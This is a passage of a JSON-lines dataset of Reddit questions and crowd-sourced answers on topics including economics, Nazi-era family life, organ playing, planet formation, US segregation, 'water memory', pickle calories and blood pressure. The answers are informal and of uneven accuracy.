non-native English speaker with dyslexia, please tell me if I have made a mistake.)\n\nEconomically speaking, this has to do with price elasticity of demand. Goods are elastic if the percentage change of their price is smaller than the change in their quantity demanded. For example, if everyone  refused to buy even a can of beer when the price rises by 0.0000001 cent, then beer is an elastic good.\n\nA lot of factors influence elasticity. One of them is the availability of substitutes. For example, there are not a lot of substitutes for gasoline. You cannot settle for something cheaper. Thus, even when the price of gas rises, you will still have to buy that. This means that gas is an inelastic good.\n\nif you are trapped in a movie theater and cannot bring snacks with you, you do not have the choice of buying something else. You can only choose to buy the candy bar or stay hungry. Thus, the demand of candy bar in theaters is inelastic. Knowing this, the theaters overcharges by a huge margin because they know you don't have a choice. \n\nFor inelastic goods, the percentage change of their price is larger than the change in their quantity demanded. Thus, lowering the price of the candy bars will not yield significant sales gains, leading to lower profit margins.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "ynqsg", "title": "What was the typical German family like during Hitler's reign?", "selftext": "More specifically, what roles did each family member fulfill (mother, father, son, etc.)? Is it true that most disliked Hitler but were afraid to speak up? I'm trying to get a feel for what life was like for a stereotypical family unit at the time.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/ynqsg/what_was_the_typical_german_family_like_during/", "answers": {"a_id": ["c5x8kpz"], "score": [4], "text": ["Fathers were the main workforce and considered the spine of the Reich's economy and later necessary for its military power.\nThe mothers were mainly considered important for breeding children and doing the housework, but still had an important role in the econcomy as well (as workers). They made sure the economy worked on after the war started.\nChildren were considered the future, so Hitler encouraged families to get as many as possible and handed out medals to mothers for having born ten children and such. They were heavily indoctrinated in the Hitler youth (only for boys) and in the \"association of German girls\" (Bund deutscher M\u00e4del).\n\nAdditional information, it's not entirely on topic, but maybe this old post from me can clear some of your questions:\n\nWell, Hitler built a lot of things in order to create jobs, which also helped in preparing the war infrastructurewise. That was great for everyone that didn't have a job before and helped to rise feelings towards Hitler.\n\nIn the same time, many things became more regulated. Children were insulted by others if they weren't in the Hitler youth, religious people couldn't understand the priest in church because the Nazis practiced marching in front of the church with as much noise as possible. Every few houses had one responsible Nazi official (Blockwart) that would report everything that was not done as it should.\n\nSpeeking up against the Nazi party could result in your disappearance, many don't know that parties opposing Hitler lost members to the SS before Hitler was even elected (~~Rosa Luxemburg for example~~ wrong example)\n\nAt the same time however many enjoyed the new buildings, the youth programm for their children (if you were German and didn't oppose Hitler, in every case, of course), the great parades at night with torches, often in cathedrals of light rays thrown into the dark sky (Speer designed those), cheap access to new inventions (radios, cars), cheap holiday programms (look up \"Kraft durch Freude\", it was revolutionary), weekly newshows in the cinema.\n\nHitler wasn't a nice guy, but he knew how to influence people like few others. Those that were ready to follow rules and believed in what he said probably didn't suffer areduzed quality of life.\n\nIf you had a personal opinion and were ready to fight for it or even if you were born to the \"wrong\" parents (race issues, but politics as well), your life was about to get much more miserable than most ever feared."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9bgsfh", "title": "if someone knows how to play the piano, and sat down at a organ, would they be able to play the organ without any practice?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9bgsfh/eli5_if_someone_knows_how_to_play_the_piano_and/", "answers": {"a_id": ["e52xgsy", "e52xjf8", "e52xxn2", "e52y30v", "e52yypj"], "score": [2, 7, 3, 2, 45], "text": ["Quite amaturishly but yes.  I play the piano pretty well. (7/10)  organs require quite alot of knowledge about the particular organ you are playing though. They have alot of buttons and knobs that change the way they sound and special buttons for different noises and sound effects they make as well. Most organs have alot of foot pedals too.  I've even seen an organ that had a button to start a car!  It's weird I know. But you'd have to be there.  So....  tldr:  yes. But not very well.", "Depends on what you mean by play. I mean, they could just play it like a piano, but no, they would not be able to understand how all the switches work, and people who play the piano don't practice using their legs the way an organist would. Organs are a bit more complicated than pianos.", "No. For starters the organ has 2+ keyboards or manuals (2-3 is most common, bigger ones commonly have up to five, the largest has 7) for your hands and one for your feet, meaning that unlike piano your feet are actually playing notes, rather that just holding/softening the notes your hands play, and your hands are working sometimes on separate keyboards making different sounds. The key action is also a notably different feel on organ, making complex and rapid actions and sounds very different.\n\nThey are akin to each other, and knowing piano you can ignore the other manuals and pedal keyboard to bang out a tune but you aren't getting the most from the instrument that way. Its a little like trying to drive a huge truck when you race a Formula 1 car. Both are professional drivers, so its the same thing, right? Only kind of. You have an understanding of a similar system, and you have a big leg up on somebody who has never driven anything before, but there's a reason long distance truckers and F1 have different licenses, they're hugely complicated machines that have unique challenges.", "There is a difference but i think it wouldn't be a big problem. First, organ has pedals so pianist would have to learn how to play on them. Second, the piano has dynamic keyboard. It means that if you push a key stronger it makes the sound lauder. Third, on piano you are able to play quicker than on organ so many songs need to be slow down. \nOrgan has also many modes that change the sound of organ pipes but it is not necessary to know that. \nIf you ignore the pedals I think you would be able to play the organ as if you can play the piano. \n", "Have played both piano (for many years) and organ (just 1 or 2 yrs) so I have first hand experience. First, the obvious difference is that the organ has a pedalboard so you play the bass notes with your feet. Completely unique skill that you must learn from scratch. Secondly, the organ has stops (the knobs to the side used to change the sound). These aren't a huge difference because a lot of times you might just set the stops at the beginning of a piece and leave it. Thirdly, the organ has multiple keyboards, each of which can have its stops set separately, so each keyboard can have a different sound.\n\nBut organs and pianos both have a keyboard, so if you didn't need the pedals or stops, playing the organ is just like the piano, right? Wrong. The action (how the keys respond) of the keyboard is different. The piano is velocity- sensitive and the keys have a weightier response. The organ keyboard feels more like a non-weighted digital keyboard. There is also no sustain pedal on the organ so if you want a note to hold, you must keep your finger on the key. With the piano you can cheat a bit using the pedal. So your fingering technique on the organ involves more finger substitution (where you switch which finger is on a key without lifting the key) and sometimes awkward reaches. On the piano a bigger part of the technique is how you strike each key, because that's where your expressiveness comes from.\n\nSo, yes, someone who plays the piano could play the organ simply, but to be good at each instrument requires somewhat separate skill sets and ample practice on each."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "cvc4j1", "title": "why are the 4 inner planets in the solar system are so much smaller than the 4 outer planets?", "selftext": "Sorry Pluto", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cvc4j1/eli5_why_are_the_4_inner_planets_in_the_solar/", "answers": {"a_id": ["ey384tl", "ey38s84", "ey39gvh", "ey3oe6u"], "score": [10, 3, 86, 4], "text": ["They are formed from the heavier elements which make them rocky planets and the heavy elements are a lot rarer than hydrogen and helium which make up a lot of the gas giants. At a distance from the Sun there was more material to hoover up as the outer planets were forming especially the gases.", "The solar wind from the early sun blew all of the lighter elements like hydrogen and helium away from the inner planets, leaving them only rocks to build from.  Once you pass Martian orbit, the solar wind had spread out enough to allow planetoids to capture the hydrogen and helium in the solar system accretion disk.   Those planetoids eventually became the gas giants that we see.", "Basically it was a combination of two things.\n\n\nIn the early years of our solar system you could think of it as a giant cloud of hot dust and gas spinning very fast.\n\nAs the solar system spun, lighter elements such as the gasses were pushed outwards to the edge of the solar system and heavier elements like metals were not pushed as far. Think of how when you spin a ball on a string and if you let go it will fly away. Same concept. \n\nIn addition to this the sun helped push these elements as well throguh what's called solar wind. This is basically the light from the sun impacting the elements and pushing them. This act the same way, pushing lighter elements more than heavier elements.\n\nAfter the universe was separated like this, dust and gas started to coalesce into larger and larger bodies until we got the planet we know today with mostly gas in the outer region and mostly rocks in the inner region.", "You would think the answer should be simple, but it could actually be quite complicated. The real answer is that we don't know for sure, but there are some pretty good guesses. The guesses take the form of different models that try and explain what we see today, based on observations. Some of these observations are made right here in our backyard, while other observations are made by looking at stars and planets that formed far away, in other solar systems. \n\nOur solar system began as a cloud of gas and material floating in space, that slowly began to condense. Eventually, the material falling in on itself was under so much pressure that it created the Sun. The Sun sprang into existence, but left behind a lot of swirling gas and dust known as a [protoplanetary disk.](_URL_1_) Just as the sun formed through small molecules smashing into each other over and over again over a long period of time, other objects in the disk had been, and would continue to collide. These were the beginnings of the planets, known as [Planetesimals.](_URL_0_) \n\nThis early period would have been a very chaotic time for the solar system, planetesimals would have been crashing in to each other, forming larger and larger bodies, while others were being ejected from our solar system entirely. \n\nThe inner solar system, the region closest to the sun, was so hot that it prevented most volatile materials such as water or methane from condensing and forming planetesimals, this is one reason why even today most of the water in our solar system exists in the outer regions. This contributed to the inner solar system planetesimals being comprised mostly of silicate materials. \n\nMeanwhile, in the outer solar system, planets were forming beyond the [frost line](_URL_2_) which let icy compounds to remain as solids. Now a few other things were happening: as other comments mentioned, the planetary disk was spinning around the sun. The disk was spinning faster close to the sun, and slower further away from the sun. As the sun's solar wind pushed material into the outer solar system, the slow movement of this outer disk prevented more material from falling back into the inner solar system\u2014effectively moving more and more material into the outer solar system. With more resources to work with and collide into, the proto-planets in the outer system slowly began to amass more and more material. Much of this material was left over gas, which allowed the gas giants Jupiter and Saturn to collect such large amounts of material. \n\nThere are two complicating factors with this model: The first is that Jupiter appears to have moved at some point into it's current position, and the other is than Uranus and Neptune were likely *pushed* into their current positions, but did not form there. These two ice giants are believed to have formed near where Jupiter and Saturn did, and moved outwards."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Planetesimal", "https://en.wikipedia.org/wiki/Protoplanetary_disk", "https://en.wikipedia.org/wiki/Frost_line_(astrophysics)"]]}
{"q_id": "amap2y", "title": "As a European, the American Segregation seems so surreal to me. They fought a civil war to abolish slavery, in WW2 they fought an enemy doing even worse things in the name of race, their constitution says everyone is equal. Then why did they keep opressing the blacks for so long?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/amap2y/as_a_european_the_american_segregation_seems_so/", "answers": {"a_id": ["efl9985", "efmfnic"], "score": [220, 37], "text": ["Because white Americans often believed African Americans were in various ways undesirable. For example, there were prevalent racist beliefs from Reconstruction through the Civil Rights era that: the men were hyper-sexual and wanted to seduce or rape white girls and women; they were predisposed to violence and crime in general; they were less intelligent; and so on. African Americans were also often regarded as labor competitors willing (in fact forced) to accept lower wages.\n\nIn the book [\"Buried in the Bitter Waters: the hidden history of racial cleansing in America\"](_URL_1_), Elliot Jaspin investigates the stories of towns and counties that violently expelled their African American populations, and these stories show us reasons why white Americans often hated and feared African Americans. For example, in many of the cases, such as in Forsyth County, Georgia in 1912, there was an allegation that a black man had raped a white woman; in Polk County, Tennessee in 1894, it was black miners being brought in to work for lower wages than the incumbent white miners; these triggers led to wholesale expulsion of African Americans by threats and intimidation. Aside from a paranoia about rape, another fear was seduction: a major argument against school integration was that it would lead to interracial marriage, in which white parents would have to see their daughters take up with black men they regarded as uncouth.\n\nAfter the Civil War, Southern states came up with new ways to force African Americans to remain in the subordinate position that most white people believed they belonged in. One example was vagrancy laws, under which African American men without proof of a paying job could be rounded up by police, jailed, and leased for forced labor. There was a prevalent belief that otherwise they would behave as lazy idlers with a penchant for crime. On this topic of forced convict labor, see [\"Worse Than Slavery\"](_URL_2_).\n\nGiven this fear and hatred of African Americans, whites have in many places been determined to uphold white exclusivity in their lives. Hence discriminatory mortgage practices, whereby African Americans were not permitted to acquire mortgages on homes in predominantly white neighborhoods; hence \"White Flight\" in which white families from the Civil Rights era onward left city neighborhoods in droves for suburbs with more de facto segregated schools. On residential segregation as a response to the Civil Rights movement, see [\"White Flight: Atlanta and the making of modern conservatism\"](_URL_0_).\n\nIn short, fear and hatred of black people has always reproduced itself in inequality and segregation that have led to more fear and hatred.", "If you'll forgive me--and I hope the moderators will, in any event--this question has an implicit comparative dimension that is crying out for some address.\n\nTo some extent, this question relies on what is commonly called \"American Exceptionalism\", which is a perspective that is not exclusively held by Americans. Exceptionalism in this sense need not be positive: it simply holds that the United States is fundamentally unlike any other nation-state. \n\nOn certain claims, there's certainly something to this perspective. (Though historians are also adept at pointing out that every society and territory on the planet has some distinguishing particularity that makes it unlike everywhere else.) The history of higher education in the United States, for example, is extremely unlike anywhere else. The United States has a distinctively pluralistic understanding of citizenship that accommodates immigration (despite the current political climate) in some unique ways. And so on.\n\nRacial ideology in the United States has some unusual historical dimensions, which is what motivates the OP to ask his question. How can a country that fought a punishing civil war over slavery and race have allowed a system of formal racial segregation to take hold so virulently in the century that followed? How could slavery have existed in a country whose Constitution so strongly enshrines Enlightenment ideas about equality and freedom? Why were practices of racial discrimination so persistent, all the way into the present? \n\nThe thing is, on most of these issues, while the United States has some distinctive or particular elements to its history, it is not actually very exceptional, especially in the time frame that the OP is most focused on. The French Revolution had to quickly confront the same contradiction between slavery and the Universal Rights of Man, and the answer was contradictory--but by Napoleon's time, resolved in favor of supporting slavery. France, England, Germany, Belgium, and Portugal all became involved in modern imperial rule over Africa in the late 19th Century; most of the same states were involved in imperial rule in Asia and the Middle East in the same time period. That imperialism was expressly, explicitly racist, including a number of cases of genocidal violence directed at non-Western societies or groups by white Europeans. European imperial armies in both World War I and World War II employed troops from their colonies, but treated them with as much racial contempt as white American leaders treated African-American soldiers. Africans, Asians and Middle Easterners who travelled to Europe before World War II were subject to racial segregation that was less formal but basically similar to Jim Crow in the United States.\n\nIt's only in the decades after World War II that some--and not all--people of non-European societies began to find that domestic European living conditions were less markedly racist than the United States, in particular, African-Americans who gravitated to Paris. There were always exceptions to this (London, for example) and Turks, Algerians, etc. did not find France or Germany warm or racially egalitarian. \n\nSo really in this question we are talking about a matter of degree, of small distinctions, not of major or dramatic divergence. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.goodreads.com/book/show/345070.White_Flight", "http://www.goodreads.com/book/show/551619.Buried_in_the_Bitter_Waters", "http://www.goodreads.com/book/show/97610.Worse_Than_Slavery"], []]}
{"q_id": "6lxd9l", "title": "When you grow and your birthmark stretches, how do the new skin cells know to be discolored?", "selftext": "As you grow or get fat, your birthmark stretches. As it stretches, the boundary of the birthmark grows, and it gets filled in with new discolored skin. This doesn't seem to happen with moles for example. How exactly do discolored birthmarks expand? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6lxd9l/when_you_grow_and_your_birthmark_stretches_how_do/", "answers": {"a_id": ["djxs6j5"], "score": [6], "text": ["Birthmarks or Cutaneous Hermangiomas are essentially tumors, allbeit harmless in most cases. As such cell replication produces more tumorous cells. _URL_0_ \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://jamanetwork.com/journals/jama/article-abstract/656904"]]}
{"q_id": "2d40z9", "title": "respectful but ignorant, please explain the concept of 'white trash' as an insult in a caucasian context?", "selftext": "I have lived in the United States of Americafor about 7 months now. I still don't get the concept, context and content of the insult. 'Trash' seems to me like it could be the most average word anyone can use in an insult.  White has absolutely no reasonable insulting ring to it. I don't get it. But i know (from observing the American culture) that \"[insert adjective] white trash\" is as corrosive as any insult is intended ro be, on the receiver (most likely in an altercation, not in a jocular context). \nWhat is it about this insult that's just a huge deal to a caucasian?  Story replies encouraged.  \nEdit: Thanks for explaining ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2d40z9/eli5_respectful_but_ignorant_please_explain_the/", "answers": {"a_id": ["cjlu1xk", "cjlu80i"], "score": [5, 3], "text": ["[White trash](_URL_0_) is a derogatory American English term referring to poor white people, especially in the rural South of the United States, suggesting lower social class and degraded standards of living. The term suggests outcasts from respectable society living on the fringes of the social order, who are seen as dangerous because they may be criminal, unpredictable, and without respect for authority whether it be political, legal, or moral. The term is usually a slur, but may also be used self-referentially by working-class whites to jokingly describe their origins or lifestyle.", "It is a phrase given to (usually) extremely poor or low income white folks. The standard image (or at least typical) would be a very run down single wide mobile home, probably built in the 1970s, with at least one broken down vehicle propped up on cinder blocks.  The yard is knee high weeds.  The multiple children are dirty, barefoot, gap toothed.  There is a refrigerator on the front porch.  Beer and cigarettes are the key feature of the adult diet.  They stink and are grossly under-educated.   Think of it as an insult as along the lines of \"you, and your descendants are failures in the game of life\".   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/White_trash"], []]}
{"q_id": "3zkect", "title": "What is this article claiming? Water has memory?", "selftext": "A friend of mine, a PhD student in psychology, posted a link to this article and said \"Finally proof that water has memory!\"  Not sure if she means in the homeopathic pseudoscience sense, but what is this article actually saying? I'm skeptical but I find the article fairly impenetrable.\n\n_URL_0_\n\nIt's in Nature Communications.  Does that mean submitted without peer review?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3zkect/what_is_this_article_claiming_water_has_memory/", "answers": {"a_id": ["cymte9v", "cymtpak", "cyn00gw", "cyn4z6w", "cynb6l2", "cyncro8", "cyng682", "cynkspt"], "score": [1171, 182, 35, 26, 2, 6, 28, 2], "text": ["It's looking at the decay times in vibrational modes of liquid water.  My understanding (and this could be wrong) is that it's looking specifically at the hydrogen bond (H on one water molecule to the O on a different water molecule) as an oscillator.  Kind of like two masses on a spring.  If the molecules are forced to vibrate initially (in this case with a strong infrared light source at a particular frequency), the vibrations will get strong.  Now when forcing is removed, the vibration will decay back to baseline levels.  It seems like this article has taken the decay rate and found that it's a function of the forcing frequency, and whether or not the water is surrounded by water, or sits on an air-water interface.\n\nSo yes, the water \"remembers\" that it was forced at a certain frequency as it decays, but all dynamical systems do this.  Depending on how you force a system, it will return to baseline slightly differently when you stop the forcing (assuming it didn't go unstable).  In this case however, for all forcing frequencies, the water was indistinguishable from baseline at 5 or so picoseconds... a far cry from what would be necessary for homeopathy to be true.", " > It's in Nature Communications. Does that mean submitted without peer review?\n\nNo. That is a peer reviewed journal with a decent impact factor.", "Serious Question:   \n\nBack when I was in grade school, we did a science project for the whole class.  I think it was in 3rd or 4th grade.   We took 2 glass pitchers of water and microwaved one and used a metal pan to heat the water in the other and then return it to the glass pitcher.   Both pitchers measured water @ something like 205 degrees.\n\nWe then let the water cool a couple hours and then proceeded to water a bean stalk plant with the water from each picture, keeping each plant's water the same.  Everything was exactly the same, except one had microwaved water, other was normal.  Over the span of a couple weeks, the plant that had the microwaved water would be severely stunted in growth while the other plant was just fine.  \n\nThis was repeated for every kid in the class, some 20 tests, and every single one had stunted growth plants that used the microwave water, versus the normal looking plants that used the stove water.  \n\n**My Question:**  Does this article have anything to do with that above mentioned test?  Does anybody know why the above mentioned test had that outcome?  ", "It means that water has memory, but not in any sense that would support any notion of homeopathy. I.e. the water was vibrated using lasers at an atomic level, not succussion by a physical means at a macro level, and this vibration/memory was not impacted by impurities in the water (which it would have to be for the proposed method of action of homeopathy to work), and this memory lasted for a short duration, the function of which was related to the frequency of light used to vibrate the water in the first place.\n\nWater is still water, it still acts like water in the body, and it doesn't take on any other properties when shaken around with other ingredients. You can vibrate it, though, and it will resonate for a bit after, which is neat, and what this paper was actually talking about.", "A PhD in Psychology might have an interest in molecular science, but not necessarily in possession of specialized relevant knowledge.\n\nHaving said that, the journal you link too appears to legit, though horribly named.  The article is a scientific journal not meant for general consumption, thus the impenetrable nature.  Simply put we're not the intended audience.  \n\nBut yeah, your friend is speaking in terms of molecular arrangement, doesn't appear to about some Homeopathic fantasy stuff. ", "(A word of caution - I'm a pre-candidacy graduate student that dabbles in simulating 2DIR spectra, so I would hardly consider myself an expert on this topic.  I'm merely an enthusiast.)\n\nThe basic premise of 2DIR spectroscopy is that a sample is hit with a series of laser pulses to generate a population of excited states, and then scanned with another pulse over a range of waiting times to see how quickly it relaxes back to the ground state.  Because non-radiative relaxation results from interaction with the excited molecule's environment, these experiments are useful for getting information about the environment around your probe.  Long decay times imply that the molecule takes a long time to sample its environment.\n\nThe OH bond stretching mode has a particularly broad bandwidth, meaning that the pulse frequencies that give rise to excited states are spread out about a center, which, if I'm not mistaken, is due to coupling of rotational energy levels in the molecule (intramolecular coupling) as well as with vibrational and rotational modes of nearby molecules (intermolecular coupling).  The nature of that broad bandwidth is the question these researchers set out to address.\n\nNow, the frequency dependencies the authors are talking about basically means that, when they pumped at different frequencies or at an interface instead of the bulk, they found different decay rates.  In short, higher frequencies yielded longer relaxation times, and relaxation in the bulk was faster than at the interface.\n\nThe molecular interpretation of this data is that water molecules are disordered, rather than forming neat lattices of hydrogen bonds (no surprise there), but also that the frequency at which the water molecules are excited also matters with respect to the mechanism of relaxation.\n\nPS:  Keep the timescales in mind - vibrational relaxation experiments are on the order of hundreds of femtoseconds up to ~5 picoseconds.  5 picoseconds is 0.000000000005 seconds.\n\nPPS:  A Communications journal is a place where folks send brief papers for projects that aren't quite done, but have a lot of work behind them.  They're useful to show progress for the sake of renewing funding, as well as for laying claim to a particular experiment before another group can publish the same findings and invalidate months/years of graduate student labor.  They are still peer-reviewed.", "Water certainly has memory!\n\nIf I heat it to boiling on a stove and turn off the heat, it's still warmer than room temperature 10 minutes later.\n\nAmaaaaaaaaaaaaaaaazing!\n\nThis article is about much of the same sort of thing. If you pump in energy, it'll remain for a while.\n\nThis really excites 'spiritual' people for some reason.", "From my gathering, it's looking at a \"cause and effect\" relationship. There are intermolecular bonds that bridge between the water molecules and I think they're looking at how different media (what the water is surrounded by) result in differences in oscillations when a force is applied. Best example I can think of a domino like effect and changing variables in the domino line. These changes (maybe the mass of the domino, their positions relative to each other, etc.) could be seen as slightly analogous to the changes in the media, and by measuring parameters of the dominos falling (maybe the time and rate). Each domino has an effect based on the one before it, the system is \"remembering\" that very first initial push on the first domino as each subsequent effect rises from this. (I hope I explained that well.)\n\n\nI personally don't like the term \"memory\" or \"remembering\" when applied to this because it is VERY misleading and a VERY loaded description. The last thing we need is to have something like [this](_URL_0_) be thrown around again. It's not so much memory, but rather a chain of events."]}, "title_urls": [], "selftext_urls": ["http://www.nature.com/ncomms/2015/150918/ncomms9384/full/ncomms9384.html"], "answers_urls": [[], [], [], [], [], [], [], ["http://www.whatthebleep.com/water-crystals/"]]}
{"q_id": "4mij54", "title": "how can pickles have 0 calories per serving?", "selftext": "Would I starve to death by only eating pickles just as fast as eating nothing?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mij54/eli5_how_can_pickles_have_0_calories_per_serving/", "answers": {"a_id": ["d3vrcdh", "d3vv378", "d3vvq2l", "d3vvzc4", "d3vxx5p", "d3w1e4y", "d3w1ek1", "d3w2frc", "d3w2kgp", "d3w5isd", "d3w756l", "d3w95zq", "d3waq63", "d3watko", "d3wbxi6"], "score": [2303, 7, 12, 66, 473, 39, 131, 15, 23, 6, 5, 10, 2, 3, 2], "text": ["If a serving is under 5 calories, I believe the FDA allows you to round down to 0 on the label.  So the mfg can just define a serving as \"1 slice\" and say it's zero calories per serving", "Pickles don't have zero calories.  But the calories are very low.  Cucumbers already are very low in calories and are mostly water.  A large cucumber is only about 45 Cal.  \n\nThe pickling process dissolves some of the vitamin content of the cucumber resulting in an even lower calorie count.  Then you're eating thin slices of it so it's very low.  A slice of pickle has less than 10 Cal.  ", "If you ate nothing but pickles you'd probably die faster from dehydration more than anything.  If you had clean water too, you could last a while, the pickles would give you some electrolytes to keep you going.\n\nBut regardless, a serving of pickles is small, and they round the calories down on the nutrition facts.", "They are very low in calories. Your body needs a a certain number of calories each day to survive, so yes you would eventually starve to death if you attempted to survive on only pickles and water.\n\nEdit: unless of course you eat a shit ton of pickles. If you need  2000 calories per day you would have to eat 200 pickles at 10cal per pickle every day. You might want to budget in a cheat day with dipping sauce. And don't forget your vitamins.", "Startling truth confirmed by most of the other answers:\n\nThe law allows a lot of creative games with nutrition 'facts'. For anything that customers want less of, there are rules for rounding down. For anything that customers want more of, there are rules for rounding up. And being creative with serving size pushes that further.\n\nMost things with \"zero calories\" are actually \"so few calories we can legally call it zero\" instead. The same with \"zero trans fat\", or \"zero fat\", usually. If the serving size isn't \"an entire box\", you can guarantee they've engineered the number low enough for the serving size they can call it \"zero\", making it impossible to know how much is in a larger serving size.\n\nIt's a pity we can't do this with our money. Lots of vegetables are \"almost\" free.", "They don't have zero, they just have so little calories that they can label them zero.\n\nI don't even consider this a \"scam\".  If people are worried about *5 calories* there are much bigger things to be worried about.  Only people with eating disorders should be worried about 5 calories.\n\nAs others have pointed out, you would die from dehydration if just pickles.  If pickles + water, you would die of starvation or any of the \"side effects\" that come with it\n\nThere is 0 mg Thiamine (B1) in pickles, so that will give you permanent brain damage alone ... if you live that long (Wernicke\u2013Korsakoff syndrome).", "It's because the calories are rounded to the nearest 5 or 10.  Here's an even better example:  \n\n_URL_0_\n\nIt's Olive Oil.  It's Fat.  However, they're giving you such a tiny serving that the calories round down to 0 calories.  Also the fat rounds down to 0 grams, so the numbers look calorie free and fat free.  And from a practical standpoint it is very healthy -- even 2 seconds of spraying only adds about 10-15 calories, but rounding off the numbers in tiny servings can mislead people and cause confusion.", "So, I think OPs \"n-depth\" question could be phrased differently:\n\n**Question:**  If I eat nothing, but only drink water -- I will eventually starve to death.\n\nBut, if I eat only pickles (and my water) -- will I starve to death more slowly?  at the same rate?  or perhaps I will starve faster?\n\nIf the pickles have so few calories (that it takes more energy to digest them than the pickles have in them) -- then it is plausible that I would die quicker by eating only pickles than by eating nothing.\n\nSo, which way would be a quicker death?\n\nEDIT: This question is often asked about lettuce and celery, also.  Either way, let's keep vitamins and other nutrients out of the conversation and focus on just the calories.", "I wondered the same thing, but it was more \"how are there so few calories in a pickle?\"", "Thanks for all the responses. Who needs google when you have Reddit and a slow day at work to read hundreds of comments!", "Registered Dietitian here - \n\nWhat people are saying about the  < 5 calories rule is true and plays a part here. The serving size for pickles is relatively small so when we eat an already low calorie food they can state it's 0 calories. \n\nMany vegetables are made of cellulose. While cellulose has a lot of energy in it, our human bodies cannot break the molecular bonds to extract and absorb that energy. For reference, cows and other animals CAN utilize energy from these sources. If you've ever wondered how farm animals gain weight - that's how.\n\nAnyways, we can't absorb it and it passes through us. That's fiber or \"ruffage\" ", "Ever heard of rabbit starvation?\n\n\"Rabbit starvation, also referred to as protein poisoning, mal de caribou, or fat starvation, is a rare form of acute malnutrition thought to be caused by a complete absence of fat.\n\nExcess protein is sometimes cited as the cause of this issue; when meat and fat are consumed in the correct ratio, such as that found in pemmican (which is 50% fat by weight), the diet is considered nutritionally complete and can support humans for months or more. Other stressors, such as severe cold or a dry environment, may intensify symptoms or decrease time to onset. Symptoms include diarrhea, headache, fatigue, low blood pressure, slow heart rate, and a vague discomfort and hunger (very similar to a food craving) that can be satisfied only by the consumption of fat.\n\nRabbit meat is very lean. Commercial rabbit meat has 50\u2013100 g dissectable fat per 2 kg (live weight). Based on a carcass yield of 60%, rabbit meat is around 8.3% fat.[1] For comparison, in terms of carcass composition, beef is 32% fat, pork is 32%, and lamb is 28%, [2]\"\n\n_URL_0_\n\nA second, more general definition I've heard: your diet provides fewer calories than it takes to obtain it--hunting and eating rabbits being the classic example.", "Infinitely small serving size?", "The acid on vinegar destroys any use able calories. You would die slower. But still starve to death. In fact maybe faster due to it messing with your starving organs", "Either it can't be digested or it requires an equivalent amount of energy to digest as it releases.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://i6.photobucket.com/albums/y237/fanaticcook/PAM3.jpg"], [], [], [], [], ["https://en.wikipedia.org/wiki/Rabbit_starvation"], [], [], []]}
{"q_id": "3x2zkt", "title": "what is the difference between systolic and diastolic blood pressure and most importantly how should one expect them to change as he/she becomes fitter?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3x2zkt/eli5_what_is_the_difference_between_systolic_and/", "answers": {"a_id": ["cy10qfc", "cy1zcr5"], "score": [5, 2], "text": ["The heart squeezes. The heart relaxes. The pressure when the heart Squeezes is the Systolic pressure. Because the arteries are elastic and the heart has valves the pressure in the arteries does not drop to zero but to the heart relaxed pressure, the diastolic pressure, which is defined as the pressure in the blood pressure cuff when the gurgle in the constricted area is no longer heard.\n\nThe heart compensates for the increased load of obese people by pumping harder so the pressure goes up. An unfortunate side effect comes from the fact that the heart receives its blood supply only when it is relaxed and the arterial blood supply is still high. That is when the heart gets its oxygen, not when it is squeezing.\n\nYour measured blood pressure and heart rate may well drop as you become fitter. It may drop below what is considered normal. Do not worry.", "I am not a doctor. Feel free to correct me if you are. \n\n\nBlood pressure is measured by restricting the blood flow of an artery while measuring the pulse. They are measuring the pressure required to stop the flow of blood. Your heart beat, and the pulse in your veins has two pressures, a static pressure that is maintained between the beats, and then the pressure wave created by a beat which peaks. \n\nThe static pressure is generally a measurement of how well blood is flowing in your body. Low pressure is generally a good thing because high pressure puts a strain on your arteries which can cause microscopic tears, which attract plaques, dead cells, cholesterol, etc and form restricted sections of artery or blockages. So your chance of having strokes, heart disease, needing bypass surgery, etc go up significantly in people with high blood pressure. \n\nThe other measurement, how much pressure your heart puts out with each beat tells them how well your heart is working, if it's working very hard, if it's weak, if it's strong, etc.\n\nFit people tend to have a lower blood pressure from 60-70, and a strong healthy heart beats with a pressure usually from 115-130. \n\nHigh blood pressure can be caused by several factors. Having blood which is too thick, too many blood cells, too many platelets, etc which are blood disorders. The thicker blood is harder to pump. Even people with normal blood viscosity but high blood pressure, take drugs which thin the blood and make it easier to pump. \n\nHardened arteries, arterial blockages, poor circulation, and obesity are other factors which can increase blood pressure. And again, high blood pressure leads to tears which lead to plaques which lead to bypass surgery, strokes, etc. \n\nThere is also such a thing as too low blood pressure. The main risk with this is that a person may be more prone to fainting, especially if getting up too fast, bending over to do work then standing back up etc. This can be because of drugs, poor health, stress, recovery from surgery, poor diet, blood loss, etc. The main risk is someone will pass out and hurt themselves, crash their car, etc. That's why it's not usually talked about as much as the more serious high blood pressure. \n\n\nAs you become more physically fit your heart gets stronger, your arteries become less restricted, allowing for your blood to flow with less effort on the part of your heart. Chronic high blood pressure is bad for your heart and arteries, but short term spikes in blood pressure are important for heart and artery health. The normal stress of exercise does make the heart work harder, but up to a point this only makes it stronger. If it has to work hard all 